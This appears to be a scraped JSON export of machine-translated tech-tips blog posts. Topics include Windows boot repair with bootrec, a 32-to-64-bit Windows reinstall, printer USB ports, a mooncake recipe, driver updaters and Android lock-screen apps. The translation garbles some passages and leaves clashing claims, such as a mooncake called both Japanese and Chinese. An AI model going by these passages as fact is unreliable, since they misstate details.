the Universal Serial Bus Controllers device . Below this device, you will see a device called USB Composite Device . Your task is to find the port mentioned and try starting with the charging port.\n  Install printer driver If you do not have a Composite port that supports the printer, or your printer is found but cannot print, you need to install the drivers. If you have a driver installation disc, you can use it, otherwise use another method.\n  You need to find the disc or download the driver online. This will be very complicated. Drivers may not be available from the manufacturer and you must download them from an archive. Make sure this repository is reliable. Install the printer driver and try printing again.\nThis is a must, I tried and when connecting the Samsung ML-2571N printer with Composite port, it worked. Installing the driver is not difficult, so I think you should try. Also, if you are choosing to buy a laptop, check the USB ports on the computer you want to buy. All users want to switch to USB 3.0 but we can't buy all new hardware just to use it.\nAbove is how to connect the USB 2.0 port of the printer to the USB 3.0 port on the computer. If you are having a similar problem, try it now!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9Nmp6uhnqmys3mRaWSuq5JivbC%2B02arqGWlqK9uf49mp6iqpGK8r3nWoqWdp6eoenJ8\n","link":"/post/how-to-connect-printer-2-0-usb-port-to-usb-3-0-port-on-windows-10/","section":"post","tags":null,"title":"How to connect printer 2.0 USB port to USB 3.0 port on Windows 10"},{"body":"In the previous articles, I have shown you some ways to fix the error can not boot into Windows , right.\nYes ! And to continue with this bug, in today's article I will continue to share with you another simple trick that is to use WinPE (Mini Windows) to fix BCD, Winload.efi errors. or Winload.exe is successful.\n Okey, now we will go to a specific tutorial, if you cannot successfully implement the methods that I have instructed before, please try this method, and do not forget to announce the results for everyone to know.\nInstructions to fix boot errors BCD, Winload.exe and Winload.efi\u0026nbsp; + Step 1: First, create a bootable usb first, you should create a multiboot boot usb or go here to choose a way to create a rescue usb that suits your needs.\n+ Step 2: After you have created the bootable usb, go to Win PêE (Mini Windows), if you do not know how to enter, please review the instructions in this article. This is the interface of Win Pi that I just booted into.\n  + Step 3: Run cmd with administrative rights (Administrator) =\u0026gt; then enter the following commands in turn (Note that after each command you must press Enter to execute.)\ndiskpart list volume exit\nThe purpose of the above commands is to determine what the symbol of the partition containing the operating system is. In this example, it is the drive C.\n  + Step 4: OK then, after you know what the partition contains the operating system, now use the following command to access the Win drive.\nc: bootrec / fixboot bootrec / fixmbr bootrec / rebuildbcd\n=\u0026gt; Wait a moment then enter yto agree.\n  Okey, so the process of fixing Windows boot errors (BCD errors, Winload.exe errors, Winload.efi…) has been completed. Now restart your computer to check the results you just made.\nHope the article is useful to you. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6tbTEZpqopaCqwaa%2BjKyrmqqkqHq2vIywoK2gXZewpXnWoqWlp5GZsqe1jKipZq%2BZo7mwrcOer55llae%2FsL7S\n","link":"/post/how-to-fix-the-error-the-computer-starts-up-with-bcd-winload-efi-or-winload-exe-errors/","section":"post","tags":null,"title":"How to fix the error The computer starts up with BCD, Winload.efi or Winload.exe errors"},{"body":"Thousand-layer moon cakes are unique cakes originating from Japan. True to its name, the crust consists of several layers of thin powder stacked on top of each other, enveloping the soft aromatic part to create a delicious and strange taste. To achieve such a special shell is due to the application of a separate formula in the mixing of flour and powder. Listening through is thoughtful but when you start working, you will see how to make a thousand-layer Chinese moon cake very simple.\nResources: Part of water powder cover 200 grams of flour 50 grams of butter 60ml of water 25 grams of sugar 3 drops of vinegar to eat Part of oil powder cover: 180 grams of flour 50 gram shortening or 80ml cooking oil Color products Shortening is a solid fat of plant extracts, which can be purchased at bakery stores. Using shortening will make it easy for you to shape a thousand moon cake, if you can't buy it, you can use cooking oil instead.\nPart of cake 350 grams of taro 50 ml of fresh milk 100 grams of sugar (or more or less depending on taste) 50 ml of cooking oil 20 grams of soft pudding flour How to make Chinese moon cake with thousands of layers Step 1: Part of water powder cover   For butter, sugar, water, vinegar to eat the beaters beaten together and then sift the flour into the mixture, knead thoroughly until it becomes a smooth, smooth powder. Wrap with food wrap and leave the powder for 30 minutes.\n  Step 2: Part of oil powder cover   Mix flour, cooking oil and colored ingredients together into a smooth, smooth mixture. If you want your mooncake to be more colorful, you can divide it into different parts and mix it with the color.\nWrap the dough with food wrap and leave the powder for 30 minutes.\nStep 3: Make moon cakes Taro peeled, washed, cut into small pieces, steamed and then cooked puree.\n  Mix well the mashed potatoes with fresh milk, cooking oil, sugar, and soft dough, then put on the stove with small fire until it becomes a plastic block, not sticky. Note when the human slug has to slug his hands evenly so that the cake won't burn.\nDivide the kernels into rounds of equal weight.\nStep 4: Modeling moon cake After the dough is finished, take out the powdered bark and the oil bark into equal parts, estimate the weight of the dough to double that of the dough.\n  Knead small dough pellets to make it smooth and smooth to ensure that the dough will blend well together.\n  Press flat with a piece of water powder and put the oil powder inside and then round it again.\n  Use a dough roll to form a long flat shape. Roll up the dough, rotate it vertically and roll it twice.\n  The powder after being rolled 2 times, 2 parts of water powder and oil powder also blend together, continue to roll the dough again.\n  After you roll the dough into an elongated shape, use a knife to slice the dough into 2 equal parts.\n  Tilt the cut side of the dough upwards and then roll it 3 times to make the dough into a round shape.\n  For taro salad in the middle and gently use the hand to squeeze the dough to seal the filling.\nStep 5: Bake moon cake   Open the oven at a temperature of 170 ° C for 15 minutes before heating the oven and place the cake in the lower compartment in the middle of a step, grilling for 30 minutes as cooked bread.\n  So you have completed the unique Japanese-style Mid-Autumn Mooncake for the upcoming Mid-Autumn Festival.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYympqimXZiurLGMsKCtoF2ptbDB0pqlnatdpLNuwc2iqK6dXZ%2Busa3NnqqeZaOpxq2x\n","link":"/post/how-to-make-a-moon-cake-with-thousands-of-unique-japanese-style/","section":"post","tags":null,"title":"How to make a moon cake with thousands of unique Japanese style"},{"body":"If your hardware supports 64-bit versions of Windows 10, the crime does not \"upgrade\" from the 32-bit version to 64-bit and try the new version.\n1. Is Windows 10 64-bit compatible with your computer? Only 64-bit versions of Windows can be installed on computers with compatible hard drives. So if you want to switch from 32-bit Windows 10 to 64-bit, the first thing you need to do is check if the 64-bit version is compatible with your computer?\n1. Press the Windows + I key combination to open the Settings menu .\n2. On the Settings interface click on System.\n3. Click About.\n  \n4. At System Type, if you see information: 3 2-bit operating system, x64-based processor means that your Windows 10 computer is running 32-bit version that supports 64-bit version .\nIf the information is 32-bit operating system, x86-based processor means that your Windows 10 computer does not support the 64-bit version.\nIn addition, you can open the System Information to view the information above:\n1. Open Start Menu, enter System Information in the Search box and press Enter.\n2. At the System Summary section in the right pane, look at the list of left pane to find System Type. If you see information that is x64-based PC , your computer can run 64-bit versions of Windows 10.\nIn contrast, if you see the x86-based PC information , you can not install the 64-bit version of Windows operating system.\n  Also some computers running Windows 10 require processors to ensure some features. According to Microsoft support page, on Windows 8.x operating system and later versions, the operating system requires 3 features: Physical Address Extension (PAE), No-eXecute (NX), and Streaming SIMD Extensions 2 ( SSE2). In addition Windows 10 (64-bit) also requires the CMPXCHG16b (CX16) feature to be present in the processor.\nThe Windows Setup wizard always checks for hardware compatibility before starting the installation. If this feature is not supported, you cannot install Windows 10.\nIf you want to check if your computer supports this feature, you can use the Coreinfo tool from Windows Sysinternals.\n1. Access Windows Sysinternals and download Coreinfo to your device and install.\n  2. Open the Coreinfo folder you just downloaded, right-click the ZIP folder and select Extract all.\n  \n3. After the Coreinfo folder opens, click File and select Open command prompt .\n  4. Enter the Coreinfo command into the Command Prompt window and press Enter.\n5. Coreinfo will list processor information.\nIf four features PAE, NX, SSE2 and CX16 appear, you can upgrade to Windows 10 64-bit.\n  2. Ensure the device drivers are 64-bit versions In addition to the above factors, you must ensure that some other factors on the system such as video card and sound card are compatible with the 64-bit version, the reason is that 32-bit drivers will not work.\n3. Proceed to back up the system To avoid some bad cases during the upgrade process, it is recommended that you back up your system before upgrading.\nNote : You should back up individual files to a USB drive or OneDrive because these files will be deleted during the installation process.\n4. Wipe the Windows 10 installation There is no direct link from 32-bit version of Windows 10 to 64-bit version. Therefore the only solution is to clean up the operating system installation.\nNote:\nBefore proceeding to delete the installation, you should make sure that the copy of Windows 10 is activated.Go to Settings =\u0026gt; Update \u0026amp; security =\u0026gt; Activation to see the information.\n4.1. Create Windows 10 installation media 1. Connect your USB drive, require a USB drive with a minimum capacity of 4 GB\n2. Access to Microsoft's Windows 10 download page.\n3. Click the Download tool now button to download and save the Media Creation Tool on your Desktop.\n  4. Double-click the file MediaCrationTool.exe .\n5. Click Accept to accept the terms.\n6. Select Create installation media for another PC.\n7. Click Next.\n  \n8. Remove the option Use the recommended options for this PC .\n9. Select the language, edition and choose Architecture as 64-bit (x64).\n10. Click Next.\n  \n11. Select the USB Flash drive option .\n12. Click Next.\n  \n13. Select your USB drive.\n14. Click Next.\n  \n15. After Installation Media is installed, close the Media Creation Tool.\n4.2. Install Windows 10 64-bit 1. Restart your computer connected to Installation media and start installing Windows 10.\n2. On the Windows Setup window, click Next.\n3. Click Install now.\n4. On previous versions you have enabled Windows 10, so you can skip the Product key step.\n5. Accept the terms and click Next.\n6. Custom: Install Windows only (advanced) .\n  7. Select and delete the system partition, usually Drive 0 Partition 1 and Drive 0 Partition 2 .\n  8. Click on Next and follow the on-screen instructions to complete the installation process.\nAfter installation is complete, go to Settings =\u0026gt; Windows update to download the latest update and driver version.\nIf some drivers are not available on Windows Update, you can check the manufacturer's website to download and install the necessary 64-bit driver version.\nRefer to some of the following articles: When and how to defragment hard drives on Windows 10? Instructions for activating and using Remote Desktop on Windows 10 computers Fix Windows 10 error with just one click with FixWin Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWatoJy%2ForDIp55mnqKkum7DyKebqK%2BjYn5xeZJrmaKsXam8boKTm6Ct\n","link":"/post/instructions-for-upgrading-from-windows-10-32-bit-to-64-bit/","section":"post","tags":null,"title":"Instructions for upgrading from Windows 10 32-bit to 64-bit"},{"body":"Are you looking for a shortcut combination to quickly switch Sheet in Excel to make the process of working between sheets faster? Below the article shared to you the Sheet shortcut shortcut in Excel, please follow along.\n  The shortcut combination switches Sheet in Excel\nCtrl + Page Up moves to the sheet in front of the current sheet. Ctrl + Page Down moves to the next sheet.   Note: Some computers if you can not press the above combination, you can press Ctrl + Fn + Page Down / Up.\nOn a Macbook , the shortcut to switch Sheet in Excel is to use the Option + arrow keys left (to right) to move back the sheet in front of the current sheet (move to the next sheet of the current sheet).\n  If there are multiple sheets, right-click on the lower left corner and select to Sheet to move to.\n  You can refer to the common keyboard shortcuts in Excel here http://TipsMake.vn/cac-phim-tat-trong-excel/\nSo you know the shortcut to switch Sheet in Excel, hope it will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKm70a2arqxdqMSqwMKhZKyglZrBbrXNZpyxm5Wh\n","link":"/post/shortcut-switch-sheet-in-excel/","section":"post","tags":null,"title":"Shortcut switch Sheet in Excel"},{"body":"Matt Burgess , a photographer in Australia attracted by the sparkling, vivid beauty of the waves. He spent six years recording the best moments of the waves on the sea.\nMatt Burgess often takes photos at sunrise and sunset when the light that the water surface creates creates vivid and colorful photos. In addition, he often took shots from inside the wave to record the wave images curiously and impressively.\n                    \nPhoto: mattburgessphoto.com/Bored Panda\nncG1vNJzZmismaXArq3KnmWcp51kwaK3xGZtZrGVlr%2B0edOoZJyZoKnCs7GMm5yaraSes7a4jKianpmeYsSiwsSs\n","link":"/post/take-6-years-to-capture-beautiful-ocean-waves/","section":"post","tags":null,"title":"Take 6 years to capture beautiful ocean waves"},{"body":"From now until the end of March 2018, some users bring iPhone 6 Plus to Apple Authorized Service Providers for warranty replacement, will be replaced by a completely new iPhone 6S Plus if meet certain standards.\nAccording to Apple's internal information, the company no longer continues to produce iPhone 6 and iPhone 6 Plus. This means that customers using these two phones will have a hard time finding a service center or Apple Store has a genuine battery instead when they want to participate in a battery replacement promotion. 29 USD.\nCurrently, due to the increasing demand for replacement batteries, many Apple Store in the world do not meet enough. In order to be replaced, a genuine battery has to wait for at least 2 more weeks before the source comes back.\n  Conditions to convert broken iPhone 6 Plus to new iPhone 6S Plus\nYou need to know that the battery is not enough for you to change the iPhone 6 Plus to iPhone 6S Plus. According to Apple, your iPhone must have a motherboard error, a Lightning port, or a component that is hard to replace within your device to be replaced. And even if you have agreed to exchange a new device, it is not necessarily an iPhone 6S Plus.\nSee more:\nThe difference between iPhone 6S and iPhone 6S Plus? Guide to check battery level of iPhone, iPad 100% accurate data by analyzing Apple Apple postponed the replacement of the new iPhone battery for $ 29 for failing to meet demand Some warranty centers replace Apple batteries in Vietnam ncG1vNJzZmismaXArq3KnmWcp51kwamxjJupqKOVo3qqvMeopZ5lZmK9rcHSZpqapl2Xsm6vx5qloJ2UYsGwecipn6imlWKDtHnPpaysZZanvK55zaiuZq2eqbatecyaqZyg\n","link":"/post/the-broken-iphone-6-plus-can-be-changed-to-iphone-6s-plus-from-now-until-march/","section":"post","tags":null,"title":"The broken iPhone 6 Plus can be changed to iPhone 6S Plus from now until March"},{"body":"According to the American Heritage Dictionary, tether is a term used to refer to a string that holds an animal in a given radius. In the context of mobile technology, connecting a mobile phone to a laptop with a USB cable is called tethering. Tethering can be done by various means like WiFi, Bluetooth or USB. Tethering often allows sharing this device's internet connection with another device. All modern mobile operating systems have Internet sharing capabilities. Windows, Android and iOS have built-in features to allow connection via USB, Bluetooth and WiFi. When an Internet connection is made via WiFi, it is also called a mobile hotspot.\n  Tethering refers to connecting the phone to a computer with a USB cable to act as a USB modem.\n  Hotspot is the act of creating a WiFi network in which the phone acts as a modem / router.\nDistinguish Tethering and Hotspot The Tethering approach Protocols and connection requirements Models provide Tethering and Hotspot Cost Connect Advantages of Mobile Hotspot compared to Tethering The Tethering approach Mobile hotspot is the most popular approach to tethering. It is very easy to install and the presence of WiFi modules on most devices makes it unnecessary to add any additional components. Tethering via Bluetooth is relatively difficult to set up and the speed is also lower than WiFi. Currently, Bluetooth tethering is not widely used, although it appeared before WiFi became widely available. Tethering uses USB very fast and consumes less power because the device can be charged via USB. However, there are not many devices that support this USB connectivity. In addition, it will need special drivers or software on both sides and may require additional configuration. Protocols and connection requirements Tethering often uses NAT (Network Address Translation) to share the Internet. In this case, only the device connected to the Internet (the device is connected to the Internet) has IP public. Other devices connected by tethering have private IP and a technique called NAT is used to identify different devices under the view of a single public IP.\nMobile hotspots are provided by different telecommunications service providers including an adapter or device that allows computer users to connect to the Internet from anywhere. Mobile hotspots are promoted as an alternative to the usual method of logging into a local or other wireless network from a PC. Although mobile hotspots can be used for a variety of devices, they are often combined with laptops because laptops are hybrid devices that can be carried around, but often include mobile WiFi.\nToday, in addition to hardware, there are many wifi broadcast software. For example, Connectify Virtual Router or similar tools built into the operating system allow Internet sharing by turning WiFi modules on laptops or mobile phones into virtual hotspots.\n  Models provide Tethering and Hotspot The other difference between tethering and hotspot is in the models provided. Most telecom operators that offer mobile hotspot will sell the box or adapter at a fixed price and provide a monthly fee for mobile hotspot service. With tethering, just simple cable connectors to connect an existing mobile wireless device to a laptop without paying any monthly fee. However, mobile hotspots still seem to be a popular choice for convenience.\nThe difference in cost When planning to use one of these services, the potential costs involved are also considered. If using tethering to access the Internet, users may have to pay for each kB of data transmitted over the mobile network. If you use the internet regularly, this amount can be very large. For comparison, with a traditional hotspot, users can use the Internet freely, without having to worry about the amount of data being accessed. Hotspot owners will pay monthly service fees to Internet service providers.\nTypically, a mobile hotspot does not include contracts and fees. Use how much to pay, so users only have to pay for the data they use and recharge when needed. Operators with the best coverage and speed often have the most expensive costs and may require contracts. If you choose providers that offer the best price, sometimes users have to trade between coverage and speed.\nConnect WiFi hotspots are found in public places as well as in private places. Today, many public places in the world such as airports, shops, restaurants, hotels, hospitals, libraries, public phone stations, railway stations, schools and universities have hotspots. Many hotspots offer free Internet access, others require fees. Hotspot can be set up at home by connecting the wireless router to the Internet via ADSL or 3G. This is the most common method used today to share Internet connection at home on many different devices.\nAdvantages of Mobile Hotspot compared to Tethering   Mobile Hotspot has many advantages over tethering.\nData bandwidth : When you have to perform tasks that consume a lot of data bandwidth, users may fall into a usage situation that exceeds the data transfer limit. Using hotspots is the best option in this situation. Phone battery life : Using a hotspot means never draining your battery just to get it done. This is beneficial for long-term use, since users do not have to trade off the phone's lifespan just to stay connected. Using multiple devices : Users can safely share the connection between multiple devices. Although many devices can be connected to the phone, the more Internet devices the worse the experience. Most hotspots will limit the number of devices connected, but you can still connect more than one or two devices without performance issues. Continuous : Tethering is easy to miss calls often, especially when used for a long time. This is usually attributed to the firmware used. Similarly, even unlimited data programs of different vendors (depending on the provider), can also be adjusted after a certain time (ie it is essentially just for high-speed access in a certain capacity level, then decrease to normal speed). Hotspots are more reliable with the added advantage of using how much to pay. Choosing between data and conversation capabilities : This varies depending on the operator, but with Verizon Wireless and Sprint, the connection (via 3G, not through LTE) conflicts with phone conversations. Although the phone may ring, the signal will be disconnected as soon as the user answers and vice versa. Diversifying suppliers : If you regularly travel, you can choose any provider that offers better service in your destination. Even when you're at home, you can now choose the best-performing provider. ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2gn56Vp7Kvr8RmmZ6sp5qyr3nTnquhnaKeu6h5wKebZqCfqcCxu9M%3D\n","link":"/post/the-difference-between-tethering-and-hotspot/","section":"post","tags":null,"title":"The difference between Tethering and Hotspot"},{"body":"Football is perhaps the most popular sport in the world, and as a result, countless developers have tried to emulate and bring football to the mobile platform. Players can find a variety of soccer games on the app store, but to help you get the best choices, TipsMake has narrowed down the list with the 5 best soccer games on the phone.\n1. FIFA Soccer FIFA Soccer is probably one of the best online soccer titles on mobile and you may have heard of this game if you played FIFA on console or PC. In FIFA Soccer, you can build your own club from 550 real teams around the globe, play in famous tournaments like the UEFA Champion League or FIFA World Cup and more.\nYou can test your skills in Single-mode or compete against other players in real-time 11v11 matches. There are many interesting things for you to explore in this game.\n  Unique features of FIFA Soccer:\n- Build your soccer team with players from Premier League, La Liga, Bundesliga, Serie A, Ligue 1, MLS . - Compete with friends in a real-time 11v11 soccer match or in Fast-paced VS Attack mode. - Participate in UEFA Champions League and UEFA Europa League tournaments. - Discover authentic football match schedule and overcome the rankings of Premier League, La Liga, Bundesliga, Serie A, Ligue 1, MLS . Link download FIFA Soccer for Android\u0026nbsp;here.\n2. eFootball PES 2021 As a major competitor of FIFA Soccer, eFootball PES 2021 is certainly very attractive. The gameplay of the mobile version is like the console version without any changes. Get the most authentic mobile football experience ever. The natural movement, deep strategy and precise passing all make you feel like you are playing the ball on the pitch. Besides real-time online matches, you can also explore the Iconic Moment Series, where you will experience the most famous events in football history.\n  The unique features of eFootball PES 2021:\n- The most authentic football experience on mobile devices. - Relive legendary moments in the careers of current and past soccer superstars. - Enjoy a soccer party between many famous clubs: FC Barcelona, ​​Manchester United, Juventus, FC Bayern München, AS Roma . - Compete with friends and other players in real-time matches. - Recruit legendary strikers into your team: David Beckham, Francesco Totti, Diego Maradona, Steven Gerrard, Gabriel Batistuta, Fernando Torres and Karl Rummenigge. Link download\u0026nbsp;eFootball PES 2021 for Android here.\nLink download eFootball PES 2021 for iPhone here.\n3. Top Eleven 2021 Instead of focusing on soccer gameplay, in Top Eleven 2021, you'll become a manager whose job is to control training sessions, select squads, design clothes, set up squads and more. . Look at everything that happens behind the scenes of football - from recruiting talent, recruiting new players, to training young talent, there will never be a dull moment playing this game.\n  Unique features of Top Eleven 2021:\n- Become the best football manager in the world. - Face off against other top football managers from around the world. - Create management strategies to help your team win prestigious trophies. - Participate in many exciting soccer tournaments and events. - Build stadiums, upgrade facilities, collect uniforms and exclusive logos from some of the biggest football clubs in the world (Liverpool FC, Real Madrid, PSG). Link download Top Eleven 2021for Android here.\nLink download Top Eleven 2021 for iPhone here.\n4. Real Football Experience Real Football both on and off the pitch. With a size of 200MB, Real Football is probably the lightest football game you have ever known. The developers have certainly done a good job in game development. Although super lightweight, the game features a 3D stadium, incredibly detailed textures and a beautifully captured shadow effect. Quickly recruit talented players using the lottery, build your dream team and compete with the best clubs in the world.\n  Unique features of Real Football:\nBuild your dream team by recruiting world-famous soccer superstars. Upgrade facilities for your team including stadiums, hospitals, physiotherapy centers . Challenge other players in PvP World Arena mode and climb to the top of the leaderboards. Enhance players' abilities by purchasing skill items. Link download\u0026nbsp;Real Football for Android here.\n5. Soccer Star 2021 Top Leagues In Soccer Star, you will compete with the best soccer players in the world in amazing soccer matches and leagues. Besides, if you can become the top player in the world or become a greats in a team through major tournaments, your national soccer team will call you into the team. and participate in the World Cup. Soccer Stars also has many different training modes such as penalty shootout, free kick, striker support, . for you to test and improve your skills.\n  Unique features of Soccer Star:\nCompete against other players in different ranks, from different countries. Recruit many famous soccer players for your club. Play online with people from all over the world or with your friends. Develop strategies to move and attack to master the ball field. Link download Soccer Star for Android here.\nLink download Soccer Star for iPhone here.\nAbove are 5 football games are rated highest today. Each game has its own characteristics, promising to bring you the best gaming time on your mobile device.\nTop 5 soccer game ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXquu8Gio55llqS8ta7ApaNmn5Gism5%2Bj2to\n","link":"/post/top-5-best-mobile-football-game-2021/","section":"post","tags":null,"title":"Top 5 best mobile football game 2021"},{"body":"In this article, TipsMake will summarize the list of top driver update software that is rated as the best for both PC and laptop for your reference.\nAs information technology develops, manual tasks that people have to perform will be done instead of machines and software, like finding and installing drivers for computers too.\nEach computer manufacturer offers its own driver, when you buy a computer you will find a Driver CD included. When you lose or don't have a disc you can use the 'update driver' software without having to remember the hostname.\nUpdate Driver, Top 5 software to automatically download drivers for computers and laptops 1. Easy Driver Link to download DriverEasy here\nDriverEasy is a software that automatically finds the necessary computer driver for any computer running any operating system thanks to the ability to update the driver to the latest version for the system to operate in the best state, DriverEasy offers a rich driver database. endorsement, from the publisher's official website, automatically downloaded and installed to the computer. Besides, DriverEasy also creates a backup for the drivers to restore when needed.\n2. Driver Booster Link to download Driver Booster here\nDriver Booster 6, the latest version of the software to automatically find and update computer drivers, is being used by a lot of users today. With the function to find, download and install the missing drivers for the hardware on the computer. Driver Booster integrates a data warehouse with more than 500,000 drivers and devices, allows you to remove outdated drivers and create driver backups in case it needs to be restored.\n3. 3DP Chip Link to download 3DP Chip here\n3DP Chip is a software commonly used to update the latest driver versions for your computer, helping the hardware always work in the best state, with 3DP Chip, you can know which drivers have been out of date, then let the software automatically search for the latest versions and settings for your system.\n4. Driver Detective Download Driver Detective here\nDriver Detective is an essential tool for users to check and update drivers for their computers, using modern scanning technology to find outdated drivers and install new driver versions for their systems. With Driver Detective you can back up the driver system on your computer as well as link to online driver repository for easy download.\n5. Smart Driver Updater Link to download Smart Driver Updater here\nSmart Driver Updater is a software that automatically finds computer drivers to help users scan the computer and automatically search for outdated Drivers, give requests and notifications about Drivers that need to be replaced on the system. The software also provides reliable places to download and install the latest Driver versions for many hardware devices on the computer.\nManual DriverEasy software automatically finds Driver Step 1: Start Driver Easy, click Scan now to start the automatic driver finding process.\n  The system will begin a full system scan for existing or outdated drivers.\n  Step 2: A list of old or additional drivers appears, you can click Update to choose to update each driver or click Update All to update the driver for the whole system.\n  Step 3: When the update starts, the software will have an option for you to back up a recovery copy before installing the new driver or not. You should choose to automatically backup Automatically Create, but this action requires you to upgrade Driver Easy to the premium version.\n  Step 4: The process of automatic driver installation starts, you wait until the installation is complete, then restart your computer to complete.\n  You can also pay a fee to upgrade the software to the Professional version with more advanced features such as increasing download speed, downloading multiple drivers at the same time, automatically creating a system backup .\nIn addition to DriverEasy, you can use 3D Chip to automatically update the driver for your computer. If you have not done this successfully, please refer to how to manually find the driver by 3D Chip that Taimienphi.vn instructed in quite detail in the previous tip article.\nAutomatically install the driver by Driver Booster is also a good way by recent users. Driver Booster has the speed of finding and downloading drivers for computers and laptops quite fast, not to say too much, but really when using it you will find its useful features.\nAs listed in the list, Smart Driver Updater is also one of the most effective automatic driver download software, refer to how to update Driver by Smart Driver Updater automatically to save your time.\nIn addition, Driver Detective is also appreciated in the top software that automatically downloads and installs drivers for the computer, updating Driver by Driver Detective for the computer is quite simple like other software, you can track and perform together.\nGuide to check for updates by command Step 1: Press the Windows + R key combination, enter 'cmd' and then press Enter to open the Command Prompt program\n  Step 2: Enter the command line cmd window: \"driverquery\" then press Enter to display all the drivers running on the computer\n  Step 3: Type the command: \"driverquery\u0026gt; driver.txt\" then press Enter. The list of drivers will be made up of a text file\n  This text file will be in the folder displayed on the CMD screen. You open that file and keep track of updates for your old drivers\n    Automatically install drivers for your computer using Device Manager Step 1: Go to Control Panel on Windows.\nStep 2: In Control Panel, look for Device Manager\n  Step 3: Appear a list of hardware devices, to update driver and install driver automatically for any device, right-click on that device, choose Update Driver Software .\n  Step 4: Select Search automatically for updated driver software, the drivers of this device will be searched online and installed automatically.\n    Search for the driver online from the manufacturer's home page Each manufacturer of hardware for laptops or computers supports users to download drivers for each model or type of components to be compatible with the operating systems.\nTo update the driver for a computer or laptop, users can search for the appropriate driver through a search on the home page.\nExample: For a Dell laptop, you can find the corresponding drivers here\nUpdate the driver via Windows Update With each new update, Windows usually bundles the driver update for the user. The user can download these updates, and the automatic driver installation will be done. You enable this mode by selecting Always install the best driver software from Windows Update, then press Save Changes to save the changes.\n  Thus, TipsMake has introduced to you the software to automatically find the best driver for your computer and guide the operation automatically update driver, automatically find driver by DriverEasy. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51kwrGwwK2cZpyinsOmvoytn55lo6SztcPAq5xmmaWpvK6t06KamqScrnqntc2dqmacop7Dpr6Mn6arZaSdsm6vzqanrqyVp3qtrc%2Btpqk%3D\n","link":"/post/update-driver-the-software-automatically-finds-driver-for-the-computer-laptop/","section":"post","tags":null,"title":"Update driver, the software automatically finds driver for the computer, Laptop"},{"body":"The following article introduces you in detail how to use the action buttons on the Slide in PowerPoint.\nStep 1: On the card Insert -\u0026gt; Shape -\u0026gt; scroll to Action Buttons -\u0026gt; choose to use impact button:\n  Step 2: Use the mouse to drag and drop to create the action button, and the Action Setting dialog box appears in the Hyperlink section to select the link when clicking the action button:\n  Step 3: If you want to create sound when you click the action button -\u0026gt; select Play Sound -\u0026gt; move to the dialog box to select the sound type to create and click OK to complete:\n  - The result has created the action button:\n  Step 4: Create the image style for the action button -\u0026gt; click the action button -\u0026gt; select the Format tab -\u0026gt; click the Shape Styles item -\u0026gt; select the image style that suits your action button:\n  Step 5: Select the background color for the button action -\u0026gt; click the Shape Fill icon -\u0026gt; select the color to be filled:\n  Step 6: Click the Shape Outline icon to select the border color to create for the button action:\n  Step 7: Click the Shape Effect icon to select the effect type for the action button:\n  - After creating and retouching the image and color for the impact button, the result is:\n  - So when you click the button, the action will automatically move to the link specified in the Hyperlink section .\nThe above is a detailed guide on how to use the action buttons on the Slide in PowerPoint.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjK2fnmWRmMGqu81mma6spKS7tHnOp2SspJmZsm61zWanqK%2BVp72wtc2t\n","link":"/post/use-the-action-buttons-on-slide-in-powerpoint/","section":"post","tags":null,"title":"Use the action buttons on Slide in PowerPoint"},{"body":"The lock screen on Android devices is not only aesthetic, but also an important navigation screen, you can use to get straight access to the most used features. Also, if you find your Android phone lock screen too boring, you can try the following application to design your own lock screen.\nSmartphone Android allows you to customize many settings in the application. In addition it also has a system of applications on the Google Play store that allows you to make more customizations. Please check the Android application screen and utility list below if you want to unlock the phone more interesting and effective.\nGuide to lock and unlock Android screen with virtual assistant Google Assistant 1. Hi Locker Hi Locker provides a CyanogenMod-style launcher that works by keeping and swiping the application to quickly open it from the lock screen. The application has 3 lock screen types: classic, Lollipop and iOS. In addition, it also has a dedicated calendar for you to quickly see upcoming events. Users can customize greetings, fonts and change wallpaper settings automatically.\n  2. LokLok   \nLokLok is an interesting lock screen application. LokLok allows to draw a lock screen to send drawings as a message to friends using the same application. This message will appear on their lock screen so that it can be edited and sent back to you if desired.\n3. Next News Lock Screen   \nNext News is a source of news sent directly to the lock screen, you can customize it to ensure you always see the most important messages. Choose from a list of categories, such as sports or entertainment, and they will appear on the lock screen. Just type and hold a category to open it.\n4. CM Locker   \nCM Locker has a slider to unlock function, as well as a battery saver feature, which helps to clear apps that drain the battery directly from the lock screen. You can choose to use a PIN or pattern to unlock the device and have an intrusion alert feature that will take photos of anyone who intends to unlock your phone. This is a lock screen application that helps you control music playback, view recent messages and check the weather forecast.\n5. SlideLock Locker   \nHave you used iPhone and familiar with Apple's sliding lock screen? Fortunately, this awesome lock screen application will bring it back to you right on your Android device. Using SlideLock, you can unlock your Android phone by sliding from left to right along the bottom of the screen. You also get notifications like in Lollipop by pressing to open or swipe to remove them. Swipe from right to left to open the camera.\n6. Semper   \nThis app was formerly called UnlockYourBrain, unlocking phones by training the brain with simple math problems and vocabulary exercises. Does this mean you cannot access your phone if you don't know how much 12 x 8 is, or what 'el amigo' means? However, if you can't answer the questions, UnlockYourBrain still allows users to skip and access the phone.\n7. Next Lock Screen   \nMicrosoft always wants its applications to be available in all operating systems and platforms. Next Lock Screen is a testament to Microsoft's design innovation for the Android ecosystem.\nNext Lock Screen has an elegant and simple appearance, which cleverly calculates which applications you are most likely to use based on location (home, work, etc.), then display those apps on the lock screen. In addition, Next displays other important notices, calendars and phone functions in a neat and tidy manner.\n8. AcDisplay   \nMany lock screen applications provide simple screens, but no one does as well as AcDisplay. Notifications appear as small icons, just hold your finger on this icon to see the specific message, then swipe down to remove it. AcDisplay even uses the device's sensor to detect when it is in the pocket or while in use, so the screen turns on and off respectively.\n9. C Locker Pro   \nC Locker Pro is a lock screen application that provides a variety of features and shortcuts to tweak the lock screen. It has more than 30 custom shortcuts to make calls, access applications or read notifications from social networks. One of the favorite options for many users is to press the screen two or three times to turn off the phone, a feature often reserved for high-end phones.\n10. Echo Notification Lockscreen   \nEcho is a sleek, minimalist designed lock screen that gives you good control over what you see and has instant access. As shown in the illustration image, you can create notification types, such as 'Jobs', 'Media', 